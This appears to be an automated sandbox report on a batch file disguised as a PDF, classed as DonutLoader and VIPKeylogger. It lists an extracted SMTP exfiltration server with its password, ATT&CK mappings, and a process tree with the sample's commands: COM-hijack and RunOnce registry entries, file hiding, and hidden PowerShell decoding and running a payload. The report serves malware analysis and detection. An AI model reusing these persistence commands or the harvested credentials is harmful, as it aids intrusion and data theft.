Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
21/04/2026, 11:30
General
- Target GRD_2026_09_1935R1_PDF.bat
- Size 239KB
- Sample260421-nmacpsdw6k
- SHA256 eff24f11217a55389b6767408b0ad59e692d54ce8583e887e7044efc047dd6f8
Malware Config
Extracted
-
Protocol
smtp
-
Host
mail.taikei-rmc-co.biz
-
Port
587
-
Username
-
Password
iz5$#j)Fq(0g+?Hh
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
mail.taikei-rmc-co.biz
-
Port
587
-
Username
-
Password
iz5$#j)Fq(0g+?Hh
-
Email to
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Detects DonutLoader 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 15 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\GRD_2026_09_1935R1_PDF.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\GRD_2026_09_1935R1_PDF.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Responsibility.bat"4⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{982483DC-1161-70A5-17C0-843F2C451182}" /ve /t REG_SZ /d "System Shell Extension" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{982483DC-1161-70A5-17C0-843F2C451182}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{982483DC-1161-70A5-17C0-843F2C451182}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "generate" /t REG_SZ /d "cmd.exe /c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Responsibility.bat\"" /f4⤵
- Adds Run key to start application
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -c "$d=Get-Content 'C:\Users\Admin\AppData\Local\Temp\REMAIN.tmp' -Raw;$d=$d-replace'`r',''-replace'`n','';[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))|Out-File 'C:\Users\Admin\AppData\Local\Temp\Lunch.ps1' -Encoding UTF8"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -f "C:\Users\Admin\AppData\Local\Temp\Lunch.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xgg2cazu\xgg2cazu.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2A38.tmp" "c:\Users\Admin\AppData\Local\Temp\xgg2cazu\CSC6F7A5DC981584F4E80344B5150B9ADCE.TMP"6⤵
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
Lunch.ps1
REMAIN.tmp
REMAIN.tmp
RES2A38.tmp
__PSScriptPolicyTest_vgpwcjdr.3l2.ps1
xgg2cazu.dll
Responsibility.bat
CSC6F7A5DC981584F4E80344B5150B9ADCE.TMP
xgg2cazu.0.cs
xgg2cazu.cmdline
memory/1908-96-0x00000235A45F0000-0x00000235A45FC000-memory.dmp
memory/1908-90-0x00000235BD120000-0x00000235BD128000-memory.dmp
memory/1908-92-0x00000235A45F0000-0x00000235A45FC000-memory.dmp
memory/3272-111-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-121-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-147-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-91-0x0000000002B30000-0x0000000002B51000-memory.dmp
memory/3272-146-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-94-0x0000000008DB0000-0x0000000008DFA000-memory.dmp
memory/3272-145-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-97-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-98-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-102-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-100-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-99-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-101-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-103-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-104-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-106-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-108-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-107-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-105-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-109-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-110-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-144-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-112-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-113-0x0000000009E90000-0x000000000A052000-memory.dmp
memory/3272-114-0x0000000008920000-0x0000000008970000-memory.dmp
memory/3272-115-0x0000000027430000-0x0000000027958000-memory.dmp
memory/3272-116-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-117-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-118-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-140-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-120-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-119-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-122-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-123-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-127-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-126-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-125-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-124-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-128-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-129-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-130-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-131-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-132-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-133-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-134-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-135-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-137-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-136-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-138-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-139-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-142-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-141-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3272-143-0x0000000008E00000-0x0000000008E10000-memory.dmp
memory/3832-85-0x0000018CE7650000-0x0000018CE765C000-memory.dmp
memory/3960-88-0x00000198D5060000-0x00000198D506C000-memory.dmp
memory/4976-52-0x0000018FA4C40000-0x0000018FA4C50000-memory.dmp
memory/4976-58-0x0000018FBCE20000-0x0000018FBCE42000-memory.dmp
memory/4976-65-0x0000018FA4740000-0x0000018FA474C000-memory.dmp